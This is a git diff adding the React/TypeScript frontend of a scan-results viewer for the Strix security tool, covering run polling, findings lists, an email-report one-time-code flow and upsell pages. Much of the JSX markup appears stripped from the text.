"integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true, + "license": "ISC" + }, + "node_modules/zustand": { + "version": "4.5.7", + "resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz", + "integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==", + "license": "MIT", + "dependencies": { + "use-sync-external-store": "^1.2.2" + }, + "engines": { + "node": ">=12.7.0" + }, + "peerDependencies": { + "@types/react": ">=16.8", + "immer": ">=9.0.6", + "react": ">=16.8" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "immer": { + "optional": true + }, + "react": { + "optional": true + } + } + }, + "node_modules/zwitch": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", + "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + } + } +} diff --git a/strix/viewer/frontend/package.json b/strix/viewer/frontend/package.json new file mode 100644 index 00000000..37eaff55 --- /dev/null +++ b/strix/viewer/frontend/package.json @@ -0,0 +1,34 @@ +{ + "name": "strix-viewer", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "vite build", + "preview": "vite preview" + }, + "dependencies": { + "@dagrejs/dagre": "^2.0.4", + "@xyflow/react": "^12.10.1", + "clsx": "^2.1.1", + "diff": "^8.0.3", + "highlight.js": "^11.11.1", + "lucide-react": "^0.563.0", + "react": "^19.2.0", + "react-dom": "^19.2.0", + "react-markdown": "^10.1.0", + "remark-gfm": "^4.0.1", + "tailwind-merge": "^3.4.0" + }, + "devDependencies": { + "@tailwindcss/vite": "^4.1.0", + "@types/diff": "^7.0.2", + "@types/react": "^19.2.0", + "@types/react-dom": "^19.2.0", + "@vitejs/plugin-react": "^5.0.0", + "tailwindcss": "^4.1.0", + "typescript": "^5.6.0", + "vite": "^6.0.0" + } +} diff --git a/strix/viewer/frontend/public/logo.png b/strix/viewer/frontend/public/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..699eb83737137673585c5d23f4b1d5865a7344aa GIT binary patch literal 3801 zcmeH}c~nzp8pdw|gDFxFQHW>(ixr|)6SOcaA!-RofQU%2B4HIqs41EdmOxn4LRo}q zi33OgmjX7_L`2YpEeHgy0*z<`28c=_L6)!t0)}O7VCK~6GIQpf_P>7T+;hL&^X1## z-}^jox+mV{U2S7+007=~J>=vC0MHBIlK_K)Ut}9BPJ^#^&Kx>U0RY_=^#i%IQ+G4i z$#iu(;2p~x>qAG2eTj0T)T7AVFz!g2aJZb!*RIf2a=|lCbtFsHEY1d{%n8r4e*xdP~_OHKfS7+N!FmU1=hL$`lSDJfKIMgh6yA#0^G2ENT9q0 zuI2eE{+93sK3GS?o3Igmf37ZR*^#DcSp;tes(N7-qJpePG zIW{$AMOz05wo4PDqYdfa^HKXeaw*yV1j`O}i1XWeE|oJ_tjp>+WA0;=y}JxEySlmt z$(ztH#=)#jX*_mLcJ_A(hr+6Q{QUgB6^*oq8KB+rnG^!S6qC3`5k9cZ(X1VawSmZX8)k^68PO-`>E7#NVXALaF&Hmt{qhf#bsxg)fAtZwqbXa^pT zzb1;vWREa8THUS>17bptHC$(S6_nh#T$bK%4Yax;s6?asw*HQwNwZLYhXyVeF;SCH zymwE=6{k?g`-;~2`8WkEF?gYS@3< z{YXpx`i=3QB%C?p8Rm-%Tj5TP(!`efxasXQ%{g3Fic~f+fn4eSDs^uIk|I4-)#H={ z1gt^`7wB)i74s9I>Y*=eSD|cJ4|ZRxKrp~H-k#V!o!lWb2OLcP6YjT{Q4eoMB1&cY z$>q*jL2#7TEIteIrOj)gQ+-r*5TWr^{+#PB-N9g}R`&CO?=C~3d2fVOfm06BDlacj zXny)EmAVlP-9LG`jEnfnoORU;M-*W>V##CawCpAnsbwpDGW%kAX1J?d*1p%O#F3ui ze}}_kPx~U1iS1!kvc=h(WnJNlp-lzqaAH+@M#eyDf%|rl2YLNndpo;~eg|`d{(%}& z1uLUp2QX(){C62v+E0q_knD@_=(xICCgnjNKoo(PoIqsEyiWtVT|2le7LTn5HeFpW zoT{&KN%{V(#l$Hxx2~>klsEq74K3&B#v5{#xELD15!pMM6;s$FJQizDMcf2Nyu4Xb z^?iVIJ&)(h5lN*|6aO{v5+2(q6I*HV@X^zK7b}K=(c>NSKmNFlch;N|9X%8s3e0|c z!-C>`m2?8F71*hWwFFa2?a&#o=xlxhF6Cz zO?ySM9u3}>t7Hi0FzZ5)q|*3JXdvtHh=?=7%PtOfXR+Rl-IXjYOn1r-T=5ImX$D2a zG-*Lt`h8zLZRYi}iert-OYsUbz+tPcls)npJlL+tnX?%swGfl+6!&K+wQb7rV^!04x8PpxkeJJj|OxmPU$@yU4k9$;Ic<@Kz-t7FuiE0 zdAVuqM`W%82GhvnJ(t6m8zbnFwHSV)H-SnfPd&&BFDyG-K#3s`KxE6pO(++mg*9Ud zjxibz{KZm6;^K^`o5(c~o(GL==$T?ZVSK~|&~iiE^r?{1=h`pY=cL-(+NS&8`S5wo zvykKXBv2C-hcYzIM-VYmISDg+jP)hV_UK$x0fqD5-Hx6emVBF}gsEU5| z@uhjKQ<2BZ_657AXY?I0F)?ul6Sy@I;#0ZY7F)b(eLq)+-vO4NyX$W);hz4cA;$#r zV)6^r2Rp0b>eM2LMknPQ2VCE3Mxvuq?}RX$fJolm~(^VxVSiO z&*||+g9fSGa7u5*xRC|!xLP_5+*;nFfBEX#UR+jCCJSt!>yAHrUfUq=?CjjLXOAf_ zn=Vm>=_Qw6>CR=FgJ^n<#*iVNY{rwGp5sxi&R{~R-7p`>I$mk><;BknJ0Wxa>YTZj zY3%OX#}XwcpfMUFLZ7xSG)OB8qr%cK{Tsk&zM5RV)r= zrL6hUC!+iF->#UD{Fg6-6fnNQHUV-!4nfm=@y_~{vg`jUrBWe|NlRPM&b74@ zpaF^s2#%mR@YdSZgFK4>jVp_(null); + const [run, setRun] = useState(null); + const [error, setError] = useState(null); + const [selectedId, setSelectedId] = useState(null); + const [view, setView] = useState("overview"); + const [activeFeature, setActiveFeature] = useState(null); + const [auth, setAuth] = useState(null); + const [runs, setRuns] = useState(null); + const [emailPurpose, setEmailPurpose] = useState<"report" | "verify">("report"); + const [emailSkipDisclosure, setEmailSkipDisclosure] = useState(false); + // Whether this viewer can steer a live scan (true only inside the in-TUI + // launcher that shares the running scan's coordinator + event loop). + const [canSteer, setCanSteer] = useState(false); + + const refreshAuth = useCallback(async () => { + try { + setAuth(await fetchAuthStatus()); + } catch { + /* auth status is best-effort; the launched run stays viewable */ + } + }, []); + + const refreshRuns = useCallback(async () => { + try { + setRuns(await fetchRuns()); + } catch { + /* history list is best-effort */ + } + }, []); + + useEffect(() => { + void refreshAuth(); + void refreshRuns(); + // Capabilities never change over a session, so fetch once on mount. + fetchCapabilities() + .then((caps) => setCanSteer(caps.can_steer)) + .catch(() => { + /* absence of steering is the safe default */ + }); + }, [refreshAuth, refreshRuns]); + + // Live polling, scoped to the active run. Re-runs when the active run changes + // so switching to a past run (?run=) reloads its data; a finished run + // does a single full fetch and stops. + const finishedRef = useRef(false); + useEffect(() => { + let cancelled = false; + let timer: ReturnType | undefined; + finishedRef.current = false; + + const schedule = () => { + timer = setTimeout(tick, POLL_MS); + }; + + const tick = async () => { + if (cancelled) return; + try { + const { summary, raw, finished } = await fetchRunSummary(activeRun); + if (cancelled) return; + if (finished && !finishedRef.current) { + finishedRef.current = true; + const full = await fetchAll(activeRun); + if (!cancelled) setRun(full); + return; // stop polling + } + const [transcript, vulnerabilities] = await Promise.all([ + fetchTranscript(activeRun).catch(() => ({ agents: [], events: [] })), + fetchVulnerabilities(summary.runId, activeRun).catch(() => [] as Vulnerability[]), + ]); + if (cancelled) return; + setRun((prev) => ({ + summary, + raw, + finished, + transcript, + vulnerabilities, + reportMarkdown: prev?.reportMarkdown ?? null, + })); + schedule(); + } catch (e) { + if (cancelled) return; + setError(e instanceof Error ? e.message : "Could not load run data."); + schedule(); + } + }; + + (async () => { + try { + const full = await fetchAll(activeRun); + if (cancelled) return; + setRun(full); + if (full.finished) { + finishedRef.current = true; + } else { + schedule(); + } + } catch (e) { + if (cancelled) return; + setError(e instanceof Error ? e.message : "Could not load run data."); + schedule(); + } + })(); + + return () => { + cancelled = true; + if (timer) clearTimeout(timer); + }; + }, [activeRun]); + + const counts = useMemo( + () => (run ? severityCounts(run.vulnerabilities) : null), + [run] + ); + const selected = run?.vulnerabilities.find((v) => v.id === selectedId) ?? null; + const agentCount = run?.transcript.agents.length ?? 0; + const verified = auth?.verified === true; + + // Per-run guard for the default view: land on Agents while a scan is live, + // Overview once it finishes. Applied at most once per run and never once the + // user has navigated manually (userSetView flips the guard). + const initialViewAppliedRef = useRef(false); + + // Reset the guard whenever the active run changes so the newly selected run + // gets its own default. + useEffect(() => { + initialViewAppliedRef.current = false; + }, [activeRun]); + + useEffect(() => { + if (initialViewAppliedRef.current || !run) return; + if (run.finished) { + initialViewAppliedRef.current = true; + setView("overview"); + } else if (agentCount > 0) { + // Live and agents have appeared: default to the agent graph. If it is + // live but no agents exist yet, wait (do not apply, do not set the flag). + initialViewAppliedRef.current = true; + setView("agents"); + } + }, [run, agentCount]); + + // User-initiated navigation: mark the default guard applied so the per-run + // default effect never yanks the user off the view they chose. + const userSetView = useCallback((v: View) => { + initialViewAppliedRef.current = true; + setView(v); + }, []); + + const selectRun = useCallback((name: string) => { + setActiveRun(name); + setSelectedId(null); + setRun(null); + setError(null); + // Reset the guard so the per-run default applies to the newly selected run. + initialViewAppliedRef.current = false; + }, []); + + const goEmail = useCallback((skipDisclosure: boolean, surface: string) => { + trackCta("email_report", surface); + setEmailPurpose("report"); + setEmailSkipDisclosure(skipDisclosure); + userSetView("email"); + }, [userSetView]); + + // Sidebar entry keeps the disclosure (first place those users see it); + const openEmail = useCallback(() => goEmail(false, "sidebar"), [goEmail]); + // the Overview CTA already states the tradeoff, so it starts the flow directly. + const openEmailFromOverview = useCallback(() => goEmail(true, "overview"), [goEmail]); + + const openHistory = useCallback(() => { + void refreshRuns(); + userSetView("history"); + }, [refreshRuns, userSetView]); + + const onPastRunsVerified = useCallback(async () => { + await refreshAuth(); + await refreshRuns(); + }, [refreshAuth, refreshRuns]); + + const selectFeature = useCallback((slug: string) => { + trackCta(slug, "sidebar_nav"); + setActiveFeature(slug); + userSetView("feature"); + }, [userSetView]); + + const onForget = useCallback(async () => { + await forgetAuth(); + await refreshAuth(); + await refreshRuns(); + }, [refreshAuth, refreshRuns]); + + return ( +
+ { + if (v === "history") openHistory(); + else userSetView(v); + }} + activeFeature={activeFeature} + onSelectFeature={selectFeature} + issuesCount={run?.vulnerabilities.length ?? 0} + agentCount={agentCount} + runCount={runs?.count ?? 0} + finished={run?.finished ?? false} + verified={verified} + email={auth?.email ?? null} + onOpenEmail={openEmail} + onOpenHistory={openHistory} + onForget={() => void onForget()} + /> + +
+ {/* Top bar */} + + +
+ {error && !run && view !== "history" && view !== "email" && view !== "feature" && ( +
+
+ )} + + {view === "email" ? ( + { + void refreshAuth(); + void refreshRuns(); + }} + onExit={(dest) => setView(dest === "history" ? "history" : "overview")} + /> + ) : view === "feature" && activeFeature && FEATURES[activeFeature] ? ( + + ) : view === "history" ? ( +
+
+
+ void onPastRunsVerified()} + /> +
+ ) : !run && !error ? ( +
+
+

Loading run data…

+
+ ) : run && counts ? ( + <> + + + {/* Tab strip: shown on small screens where the sidebar is hidden. */} +
+ userSetView("overview")}> + Overview + + userSetView("issues")}> + Issues{run.vulnerabilities.length > 0 ? ` (${run.vulnerabilities.length})` : ""} + + {agentCount > 0 && ( + userSetView("agents")}> + Agents ({agentCount}) + + )} +
+ + {view === "overview" ? ( + + ) : view === "agents" && agentCount > 0 ? ( + + ) : selected ? ( +
+ + +
+ ) : ( + setSelectedId(id)} + /> + )} + + ) : null} +
+
+ +
+ ); +} + +function RunSwitcher({ + runs, + activeRun, + launchedName, + onSelect, +}: { + runs: RunsPayload; + activeRun: string | null; + launchedName: string; + onSelect: (name: string) => void; +}) { + const [open, setOpen] = useState(false); + const activeEntry = runs.runs.find((r) => r.name === activeRun); + const current = activeEntry ? runTitle(activeEntry.target, activeEntry.name) : launchedName; + return ( +
+ + {open && ( +
+ {runs.runs.map((r) => { + const active = r.name === activeRun; + return ( + + ); + })} +
+ )} +
+ ); +} + +function LiveIndicator({ finished }: { finished: boolean }) { + if (finished) { + return ( + + + Complete + + ); + } + return ( + + + + + + Live + + ); +} + +function formatDuration(seconds: number | null): string | null { + if (seconds == null) return null; + if (seconds < 60) return `${seconds}s`; + const m = Math.floor(seconds / 60); + if (m < 60) return `${m}m`; + const h = Math.floor(m / 60); + return `${h}h ${m % 60}m`; +} + +function SummaryHeader({ summary }: { summary: ParsedRunSummary }) { + const duration = formatDuration(summary.durationSeconds); + return ( +
+

+ {runTitle(summary.targets[0] ?? null, summary.runName ?? summary.runId ?? "Scan results")} +

+
+ {summary.targets.length > 0 && ( + {summary.targets.join(", ")} + )} + {summary.scanMode && } + {duration && } + {summary.status && } +
+
+ ); +} + +function Meta({ label }: { label: string }) { + return ( + <> + · + {label} + + ); +} + +function FindingsList({ + vulnerabilities, + finished, + onSelect, +}: { + vulnerabilities: Vulnerability[]; + finished: boolean; + onSelect: (id: string) => void; +}) { + const sorted = [...vulnerabilities].sort( + (a, b) => SEVERITY_ORDER.indexOf(a.severity) - SEVERITY_ORDER.indexOf(b.severity) + ); + if (sorted.length === 0) { + return ( +
+
+ {finished ? "No findings in this run." : "No findings yet. The scan is still running…"} +
+ {finished && ( +
+

Stay ahead of new exposures

+

+ Attack surface monitoring catches new exposures for your org over time. +

+ +
+ )} +
+ ); + } + return ( +
+ {sorted.map((v) => ( + + ))} +
+ ); +} + +/** Strip a single leading markdown heading (report sections embed their own). */ +function stripLeadingHeading(md: string): string { + return md.replace(/^\s*#{1,6}[ \t]+.*(?:\r?\n)+/, "").trimStart(); +} + +function dedupeHeadings(md: string): string { + const out: string[] = []; + let lastHeading: string | null = null; + for (const line of md.split("\n")) { + const m = line.match(/^#{1,6}\s+(.*)$/); + if (m) { + const norm = m[1].trim().toLowerCase(); + if (norm === lastHeading) continue; + lastHeading = norm; + } else if (line.trim() !== "") { + lastHeading = null; + } + out.push(line); + } + return out.join("\n"); +} + +/** Primary local CTA: email an encrypted PDF. Verify-email affordance, no lock. */ +function EmailReportCta({ onOpenEmail }: { onOpenEmail: () => void }) { + return ( + + ); +} + +function OverviewTab({ + summary, + counts, + total, + reportMarkdown, + raw, + finished, + onOpenEmail, +}: { + summary: ParsedRunSummary; + counts: Record; + total: number; + reportMarkdown: string | null; + raw: Record; + finished: boolean; + onOpenEmail: () => void; +}) { + const sections = ( + [ + ["Executive Summary", summary.executiveSummary], + ["Technical Analysis", summary.technicalAnalysis], + ["Methodology", summary.methodology], + ["Recommendations", summary.recommendations], + ] as const + ) + .filter(([, content]) => !!content) + .map(([title, content]) => ({ title, content: stripLeadingHeading(content as string) })); + + return ( +
+ + + {total > 0 && ( +
+ +
+ )} + + {/* Primary CTA: the one primary on Overview. Hidden until the run is + finished, since a live scan would only email a partial report. */} + {finished && } + + {sections.length > 0 ? ( +
+ {sections.map((s) => ( + + ))} +
+ ) : reportMarkdown ? ( +
+ +
+ ) : ( + total === 0 && ( +

No summary available for this run yet.

+ ) + )} + + {/* Near Recommendations: act on the fixes. */} +
+ {RECOMMENDATION_CTAS.map((item) => ( + + ))} +
+ + {/* Continuous coverage for your org (restyled upsell tiles). */} +
+

Continuous coverage for your org

+
+ {COVERAGE_CTAS.map((item) => ( + + ))} +
+
+
+ ); +} + +function TabButton({ + active, + onClick, + children, +}: { + active: boolean; + onClick: () => void; + children: React.ReactNode; +}) { + return ( + + ); +} + +function AgentsTab({ run, canSteer }: { run: LoadedRun; canSteer: boolean }) { + const { agents, events } = run.transcript; + const graphAgents = useMemo(() => buildGraphAgents(agents, events), [agents, events]); + // Clicking a graph node opens the agent's transcript in a modal (matching the + // cloud app); no node selected means no modal. + const [selectedId, setSelectedId] = useState(null); + const selectedAgent = selectedId ? (agents.find((a) => a.id === selectedId) ?? null) : null; + + // Live steering is only possible in-process (canSteer) while the scan runs. + const steerable = canSteer && !run.finished; + + return ( +
+
+
+
+

+ Click an agent to open its full transcript. +

+
+ setSelectedId(id)} + eventsLoaded + eventsEmpty={graphAgents.size === 0} + scanCompleted={run.finished} + /> +
+
+ + {/* Live steering: only in-process while the scan runs. Otherwise omitted. */} + {steerable && } + + {/* Re-run always routes to Strix Cloud. */} +
+

Run this scan with more depth

+

Re-run this scan on managed infra in the cloud.

+
+ +
+
+ + {selectedAgent && ( + setSelectedId(null)} + /> + )} +
+ ); +} diff --git a/strix/viewer/frontend/src/components/AddRepositoryDialog.tsx b/strix/viewer/frontend/src/components/AddRepositoryDialog.tsx new file mode 100644 index 00000000..ee7a2853 --- /dev/null +++ b/strix/viewer/frontend/src/components/AddRepositoryDialog.tsx @@ -0,0 +1,20 @@ +// Extracted ProviderIcon from strix-app's AddRepositoryDialog. The dialog itself +// (and its next/link dependency) is dropped; the IssueSidebar only needs this SVG +// switch to badge a finding's source-control provider. Web-app targets resolve to +// provider === null and never reach here (they render a globe icon instead). +import { Github, Gitlab } from "lucide-react"; + +function BitbucketIcon({ className }: { className?: string }) { + return ( + + ); +} + +export function ProviderIcon({ provider, className }: { provider: string; className?: string }) { + const cls = className ?? "w-4 h-4"; + if (provider === "gitlab") return ; + if (provider === "bitbucket") return ; + return ; +} diff --git a/strix/viewer/frontend/src/components/EmailReportView.tsx b/strix/viewer/frontend/src/components/EmailReportView.tsx new file mode 100644 index 00000000..7f84cddf --- /dev/null +++ b/strix/viewer/frontend/src/components/EmailReportView.tsx @@ -0,0 +1,375 @@ +import { useEffect, useRef, useState } from "react"; +import { Mail, ShieldCheck, Lock, Copy, Check, Loader2, AlertCircle, ArrowLeft } from "lucide-react"; +import { + otpStart, + otpVerify, + sendReport, + type AuthStatus, +} from "@/data/serverSource"; +import { track } from "@/lib/cta"; + +/** + * The email-report / email-verification flow rendered as its own page (not a + * modal, so it never floats over another surface). Report mode ends in the + * one-time password panel; verify mode just confirms the email and returns to + * the caller. The page unmounts when you navigate away, so state resets each + * time it is opened. + */ + +type Step = "disclosure" | "email" | "code" | "sending" | "password"; + +interface EmailReportViewProps { + activeRun: string | null; + auth: AuthStatus | null; + purpose: "report" | "verify"; + /** + * Skip the report disclosure and start the flow directly (used by the + * Overview CTA, which already states the tradeoff). Unverified users land on + * the email step; already-verified users send immediately. + */ + skipDisclosure?: boolean; + /** Refresh auth + runs after a successful verify (lifts state to App). */ + onAuthChanged: () => void; + /** Leave this page (report "Done" -> overview; verify success -> history). */ + onExit: (dest: "overview" | "history") => void; +} + +const OTP_START_ERRORS: Record = { + work_email_required: "Please use your work email, not a personal one.", + rate_limited: "Too many requests. Wait a minute and try again.", + invalid_email: "That email does not look right. Check it and try again.", + unavailable: "The email service is unavailable right now. Try again shortly.", +}; + +const SEND_ERRORS: Record = { + forbidden: "This email was unsubscribed from Strix, so we cannot send to it.", + too_large: "This report is too large to email. Try a smaller run.", + unavailable: "The email service is unavailable right now. Try again shortly.", +}; + +// A small set of common personal providers for instant client-side feedback. +// The relay is authoritative (it checks the full free-email-domains list). +const COMMON_FREE_DOMAINS = new Set([ + "gmail.com", "googlemail.com", "yahoo.com", "ymail.com", "outlook.com", + "hotmail.com", "live.com", "icloud.com", "me.com", "aol.com", "proton.me", + "protonmail.com", "gmx.com", "mail.com", +]); + +export default function EmailReportView({ + activeRun, + auth, + purpose, + skipDisclosure = false, + onAuthChanged, + onExit, +}: EmailReportViewProps) { + const verified = auth?.verified === true; + const verifyOnly = purpose === "verify"; + // Verify mode (and the Overview CTA, which skips the disclosure) start on the + // email step; a verified user who skips the disclosure sends immediately. + const [step, setStep] = useState(() => { + if (verifyOnly) return "email"; + if (skipDisclosure) return verified ? "sending" : "email"; + return "disclosure"; + }); + const [email, setEmail] = useState(auth?.email ?? ""); + const [code, setCode] = useState(""); + const [busy, setBusy] = useState(false); + const [error, setError] = useState(null); + const [notice, setNotice] = useState(null); + const [password, setPassword] = useState(""); + const [filename, setFilename] = useState(""); + const [copied, setCopied] = useState(false); + const [sentTo, setSentTo] = useState(""); + const autoSentRef = useRef(false); + + const doSend = async () => { + setStep("sending"); + setError(null); + const result = await sendReport(activeRun); + if (result.ok) { + track("report_sent"); + setPassword(result.password); + setFilename(result.filename); + setStep("password"); + return; + } + if (result.error === "reverify" || result.error === "unverified") { + setNotice("Your verification expired. Enter your email to verify again."); + setStep("email"); + return; + } + setError(SEND_ERRORS[result.error] ?? "Could not send the report. Try again."); + setStep("disclosure"); + }; + + const startFlow = () => { + setError(null); + setNotice(null); + if (verified) void doSend(); + else setStep("email"); + }; + + // A verified user who skipped the disclosure (Overview CTA) sends on arrival. + useEffect(() => { + if (!verifyOnly && skipDisclosure && verified && !autoSentRef.current) { + autoSentRef.current = true; + void doSend(); + } + // Run once on mount; the page remounts fresh each time it is opened. + // eslint-disable-next-line react-hooks/exhaustive-deps + }, []); + + const submitEmail = async () => { + const value = email.trim(); + if (!value) { + setError("Enter your email to continue."); + return; + } + const domain = value.slice(value.lastIndexOf("@") + 1).toLowerCase(); + if (COMMON_FREE_DOMAINS.has(domain)) { + track("work_email_required"); + setError(OTP_START_ERRORS.work_email_required); + return; + } + setBusy(true); + setError(null); + const result = await otpStart(value); + setBusy(false); + if (result.ok) { + track("email_submitted", { purpose }); + setNotice(`We sent a 6-digit code to ${value}.`); + setStep("code"); + } else { + if (result.error === "work_email_required") track("work_email_required"); + setError(OTP_START_ERRORS[result.error] ?? "Could not send a code. Try again."); + } + }; + + const submitCode = async () => { + const value = code.trim(); + if (value.length < 4) { + setError("Enter the 6-digit code from your email."); + return; + } + setBusy(true); + setError(null); + const result = await otpVerify(email.trim(), value); + setBusy(false); + if (!result.verified) { + setError("That code did not match. Check it and try again."); + return; + } + track("email_verified", { purpose }); + setSentTo(result.email); + onAuthChanged(); + if (verifyOnly) onExit("history"); + else void doSend(); + }; + + const copyPassword = async () => { + try { + await navigator.clipboard.writeText(password); + setCopied(true); + setTimeout(() => setCopied(false), 1500); + } catch { + /* clipboard may be unavailable; the password is visible to copy manually */ + } + }; + + const confirmationEmail = sentTo || auth?.email || email.trim(); + + return ( +
+ + +
+
+ +
+

+ {verifyOnly + ? "We send a one-time code to confirm it is you." + : "Verified by a one-time code sent to your email"} +

+ + {error && ( +
+
+ )} + {notice && !error && step !== "password" && ( +

{notice}

+ )} + + {step === "disclosure" && ( +
+
+
+
+
+
+
+ + {verified && auth?.email && ( +

Sending to {auth.email}

+ )} +
+ )} + + {step === "email" && ( +
{ + e.preventDefault(); + void submitEmail(); + }} + > + + +
+ )} + + {step === "code" && ( +
{ + e.preventDefault(); + void submitCode(); + }} + > + + + +
+ )} + + {step === "sending" && ( +
+
+ )} + + {step === "password" && ( +
+
+
+
+ Your one-time password +
+ {password} + +
+

+ Save this now. Strix never stores it, so we cannot show it again. File:{" "} + {filename} +

+
+ +
+ )} +
+
+ ); +} diff --git a/strix/viewer/frontend/src/components/EmailVerifyInline.tsx b/strix/viewer/frontend/src/components/EmailVerifyInline.tsx new file mode 100644 index 00000000..9318f854 --- /dev/null +++ b/strix/viewer/frontend/src/components/EmailVerifyInline.tsx @@ -0,0 +1,163 @@ +import { useState } from "react"; +import { Loader2, AlertCircle } from "lucide-react"; +import { otpStart, otpVerify } from "@/data/serverSource"; +import { track } from "@/lib/cta"; + +/** + * Compact inline email -> 6-digit-code verify flow. Unlike EmailReportView this + * has no page chrome, no report send, and no password panel: it just confirms + * the email so the past-runs list can unlock in place. On success it calls + * `onVerified` (the parent refreshes auth + runs). + */ + +const OTP_START_ERRORS: Record = { + work_email_required: "Please use your work email, not a personal one.", + rate_limited: "Too many requests. Wait a minute and try again.", + invalid_email: "That email does not look right. Check it and try again.", + unavailable: "The email service is unavailable right now. Try again shortly.", +}; + +// A small set of common personal providers for instant client-side feedback. +// The relay is authoritative (it checks the full free-email-domains list). +const COMMON_FREE_DOMAINS = new Set([ + "gmail.com", "googlemail.com", "yahoo.com", "ymail.com", "outlook.com", + "hotmail.com", "live.com", "icloud.com", "me.com", "aol.com", "proton.me", + "protonmail.com", "gmx.com", "mail.com", +]); + +export default function EmailVerifyInline({ onVerified }: { onVerified: () => void }) { + const [step, setStep] = useState<"email" | "code">("email"); + const [email, setEmail] = useState(""); + const [code, setCode] = useState(""); + const [busy, setBusy] = useState(false); + const [error, setError] = useState(null); + const [notice, setNotice] = useState(null); + + const submitEmail = async () => { + const value = email.trim(); + if (!value) { + setError("Enter your email to continue."); + return; + } + const domain = value.slice(value.lastIndexOf("@") + 1).toLowerCase(); + if (COMMON_FREE_DOMAINS.has(domain)) { + track("work_email_required"); + setError(OTP_START_ERRORS.work_email_required); + return; + } + setBusy(true); + setError(null); + const result = await otpStart(value); + setBusy(false); + if (result.ok) { + track("email_submitted", { purpose: "verify" }); + setNotice(`We sent a 6-digit code to ${value}.`); + setStep("code"); + } else { + if (result.error === "work_email_required") track("work_email_required"); + setError(OTP_START_ERRORS[result.error] ?? "Could not send a code. Try again."); + } + }; + + const submitCode = async () => { + const value = code.trim(); + if (value.length < 4) { + setError("Enter the 6-digit code from your email."); + return; + } + setBusy(true); + setError(null); + const result = await otpVerify(email.trim(), value); + setBusy(false); + if (!result.verified) { + setError("That code did not match. Check it and try again."); + return; + } + track("email_verified", { purpose: "verify" }); + onVerified(); + }; + + return ( +
+ {error && ( +
+
+ )} + {notice && !error &&

{notice}

} + + {step === "email" ? ( +
{ + e.preventDefault(); + void submitEmail(); + }} + > + + +
+ ) : ( +
{ + e.preventDefault(); + void submitCode(); + }} + > + + + +
+ )} +
+ ); +} diff --git a/strix/viewer/frontend/src/components/FeatureDetail.tsx b/strix/viewer/frontend/src/components/FeatureDetail.tsx new file mode 100644 index 00000000..d5eb4326 --- /dev/null +++ b/strix/viewer/frontend/src/components/FeatureDetail.tsx @@ -0,0 +1,96 @@ +import { + CalendarClock, + WandSparkles, + Puzzle, + Users, + ArrowUpRight, +} from "lucide-react"; +import { SIGNUP_URL, PRICING_URL, ctaUrl, trackCta } from "@/lib/cta"; +import type { ProFeature } from "@/lib/pro-features"; +import { ProTag } from "@/components/ProCta"; + +/** + * In-app upsell page for a single platform feature. Modeled on the cloud app's + * Networks upsell: a centered bordered card with an icon medallion, tier pill, + * headline, one-line description, a shared "Included in Strix Pro" bullet list, + * then a primary sign-up CTA and a secondary link to all plans. + */ + +const INCLUDED = [ + { + icon: CalendarClock, + text: "Continuous coverage: scheduled pentests and attack surface monitoring", + }, + { icon: WandSparkles, text: "One-click autofix that opens a retested pull request" }, + { icon: Puzzle, text: "Two-way sync to Jira, Linear, and Slack" }, + { icon: Users, text: "Your whole team, with roles and shared history" }, +]; + +export default function FeatureDetail({ feature }: { feature: ProFeature }) { + const Icon = feature.icon; + return ( + + ); +} diff --git a/strix/viewer/frontend/src/components/IssueSeveritySummary.tsx b/strix/viewer/frontend/src/components/IssueSeveritySummary.tsx new file mode 100644 index 00000000..1be2d7e5 --- /dev/null +++ b/strix/viewer/frontend/src/components/IssueSeveritySummary.tsx @@ -0,0 +1,77 @@ +import React from "react"; + +import { cn } from "@/lib/utils"; + +export interface IssueSeveritySummaryFindings { + total: number; + critical: number; + high: number; + medium: number; + low: number; +} + +interface IssueSeveritySummaryProps { + findings: IssueSeveritySummaryFindings; + className?: string; + /** Noun for the total count (e.g. "issues", "CVEs"). Defaults to "issues". */ + unit?: string; + /** Optional content rendered at the end of the count row (e.g. a KEV badge). */ + trailing?: React.ReactNode; +} + +const SEVERITIES = [ + { key: "critical", label: "critical", dotClass: "bg-red-500", textClass: "text-red-500" }, + { key: "high", label: "high", dotClass: "bg-orange-500", textClass: "text-orange-500" }, + { key: "medium", label: "medium", dotClass: "bg-yellow-500", textClass: "text-yellow-500" }, + { key: "low", label: "low", dotClass: "bg-blue-500", textClass: "text-blue-500" }, +] as const; + +export function IssueSeveritySummary({ + findings, + className, + unit = "issues", + trailing, +}: IssueSeveritySummaryProps) { + if (findings.total <= 0) return null; + + return ( +
+
+
+ {findings.total} + {unit} +
+
+ {SEVERITIES.map(({ key, label, dotClass, textClass }) => { + const count = findings[key]; + if (count <= 0) return null; + + return ( +
+ + ); + })} +
+ {trailing ?
{trailing}
: null} +
+ +
+ {SEVERITIES.map(({ key, dotClass }) => { + const count = findings[key]; + if (count <= 0) return null; + + return ( +
+ ); + })} +
+
